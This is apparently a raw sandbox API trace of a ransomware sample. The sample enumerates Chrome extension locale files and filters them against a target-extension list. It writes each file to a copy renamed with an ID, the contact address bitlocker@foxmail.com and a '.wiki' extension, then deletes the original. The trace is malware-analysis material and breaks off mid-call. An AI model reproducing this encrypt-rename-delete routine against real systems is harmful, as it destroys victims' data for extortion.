lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.957] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\messages.json") returned 158 [0178.957] lstrlenW (lpString=".1cd") returned 4 [0178.957] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.957] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\messages.json") returned 158 [0178.957] lstrlenW (lpString=".jpg") returned 4 [0178.957] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.957] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0178.957] lstrlenW (lpString="messages.json") returned 13 [0178.957] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0178.957] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=686) returned 1 [0178.958] CloseHandle (hObject=0x19c) returned 1 [0178.958] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json")) returned 0x2020 [0178.958] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.958] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0178.958] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.958] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.958] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0178.958] GetLastError () returned 0x0 [0178.958] ReadFile (in: hFile=0x19c, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x2ae, lpOverlapped=0x0) returned 1 [0178.960] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x2b0, lpOverlapped=0x0) returned 1 [0178.961] ReadFile (in: hFile=0x19c, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0178.961] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0178.961] SetEndOfFile (hFile=0x1b4) returned 1 [0178.961] CloseHandle (hObject=0x1b4) returned 1 [0178.961] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.961] SetEndOfFile (hFile=0x19c) returned 1 [0178.962] CloseHandle (hObject=0x19c) returned 1 [0178.962] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.962] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json")) returned 1 [0178.963] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json") returned 155 [0178.963] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json") returned 155 [0178.963] lstrlenW (lpString=".doc") returned 4 [0178.963] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.963] lstrlenW (lpString=".docx") returned 5 [0178.963] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.963] lstrlenW (lpString=".pdf") returned 4 [0178.963] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.963] lstrlenW (lpString=".xls") returned 4 [0178.963] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.963] lstrlenW (lpString=".xlsx") returned 5 [0178.963] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.963] lstrlenW (lpString=".ppt") returned 4 [0178.963] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.963] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json") returned 155 [0178.963] lstrlenW (lpString=".zip") returned 4 [0178.963] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.963] lstrlenW (lpString=".rar") returned 4 [0178.963] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.963] lstrlenW (lpString=".bz2") returned 4 [0178.963] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.963] lstrlenW (lpString=".7z") returned 3 [0178.963] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.963] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json") returned 155 [0178.963] lstrlenW (lpString=".dbf") returned 4 [0178.963] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.963] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json") returned 155 [0178.963] lstrlenW (lpString=".1cd") returned 4 [0178.963] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.963] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json") returned 155 [0178.963] lstrlenW (lpString=".jpg") returned 4 [0178.964] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.964] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json") returned 155 [0178.964] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json") returned 155 [0178.964] lstrlenW (lpString=".doc") returned 4 [0178.964] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.964] lstrlenW (lpString=".docx") returned 5 [0178.964] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.964] lstrlenW (lpString=".pdf") returned 4 [0178.964] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.964] lstrlenW (lpString=".xls") returned 4 [0178.964] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.964] lstrlenW (lpString=".xlsx") returned 5 [0178.964] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.964] lstrlenW (lpString=".ppt") returned 4 [0178.964] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.964] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json") returned 155 [0178.964] lstrlenW (lpString=".zip") returned 4 [0178.964] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.964] lstrlenW (lpString=".rar") returned 4 [0178.964] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.964] lstrlenW (lpString=".bz2") returned 4 [0178.964] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.964] lstrlenW (lpString=".7z") returned 3 [0178.964] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.964] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json") returned 155 [0178.964] lstrlenW (lpString=".dbf") returned 4 [0178.964] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.964] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json") returned 155 [0178.965] lstrlenW (lpString=".1cd") returned 4 [0178.965] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.965] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json") returned 155 [0178.965] lstrlenW (lpString=".jpg") returned 4 [0178.965] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.965] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0178.965] lstrlenW (lpString="messages.json") returned 13 [0178.965] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0178.965] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=699) returned 1 [0178.965] CloseHandle (hObject=0x19c) returned 1 [0178.966] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json")) returned 0x2020 [0178.966] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.966] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0178.966] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.966] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.966] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0178.966] GetLastError () returned 0x0 [0178.966] ReadFile (in: hFile=0x19c, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x2bb, lpOverlapped=0x0) returned 1 [0178.968] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x2c0, lpOverlapped=0x0) returned 1 [0178.969] ReadFile (in: hFile=0x19c, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0178.969] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0178.970] SetEndOfFile (hFile=0x1b4) returned 1 [0178.970] CloseHandle (hObject=0x1b4) returned 1 [0178.970] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.970] SetEndOfFile (hFile=0x19c) returned 1 [0178.970] CloseHandle (hObject=0x19c) returned 1 [0178.971] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.971] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json")) returned 1 [0178.971] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json") returned 155 [0178.971] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json") returned 155 [0178.971] lstrlenW (lpString=".doc") returned 4 [0178.971] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.971] lstrlenW (lpString=".docx") returned 5 [0178.971] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.971] lstrlenW (lpString=".pdf") returned 4 [0178.971] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.971] lstrlenW (lpString=".xls") returned 4 [0178.971] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.971] lstrlenW (lpString=".xlsx") returned 5 [0178.971] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.971] lstrlenW (lpString=".ppt") returned 4 [0178.971] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.971] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json") returned 155 [0178.972] lstrlenW (lpString=".zip") returned 4 [0178.972] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.972] lstrlenW (lpString=".rar") returned 4 [0178.972] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.972] lstrlenW (lpString=".bz2") returned 4 [0178.972] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.972] lstrlenW (lpString=".7z") returned 3 [0178.972] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.972] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json") returned 155 [0178.972] lstrlenW (lpString=".dbf") returned 4 [0178.972] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.972] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json") returned 155 [0178.972] lstrlenW (lpString=".1cd") returned 4 [0178.972] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.972] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json") returned 155 [0178.972] lstrlenW (lpString=".jpg") returned 4 [0178.972] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.972] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json") returned 155 [0178.972] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json") returned 155 [0178.972] lstrlenW (lpString=".doc") returned 4 [0178.972] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.972] lstrlenW (lpString=".docx") returned 5 [0178.972] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.972] lstrlenW (lpString=".pdf") returned 4 [0178.972] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.972] lstrlenW (lpString=".xls") returned 4 [0178.972] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.972] lstrlenW (lpString=".xlsx") returned 5 [0178.972] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.973] lstrlenW (lpString=".ppt") returned 4 [0178.973] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.973] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json") returned 155 [0178.973] lstrlenW (lpString=".zip") returned 4 [0178.973] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.973] lstrlenW (lpString=".rar") returned 4 [0178.973] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.973] lstrlenW (lpString=".bz2") returned 4 [0178.973] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.973] lstrlenW (lpString=".7z") returned 3 [0178.973] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.973] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json") returned 155 [0178.973] lstrlenW (lpString=".dbf") returned 4 [0178.973] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.973] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json") returned 155 [0178.973] lstrlenW (lpString=".1cd") returned 4 [0178.973] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.973] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json") returned 155 [0178.973] lstrlenW (lpString=".jpg") returned 4 [0178.973] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.973] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0178.973] lstrlenW (lpString="messages.json") returned 13 [0178.973] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0178.974] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=644) returned 1 [0178.974] CloseHandle (hObject=0x19c) returned 1 [0178.974] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json")) returned 0x2020 [0178.974] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.974] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0178.974] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.974] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.974] CreateFileW 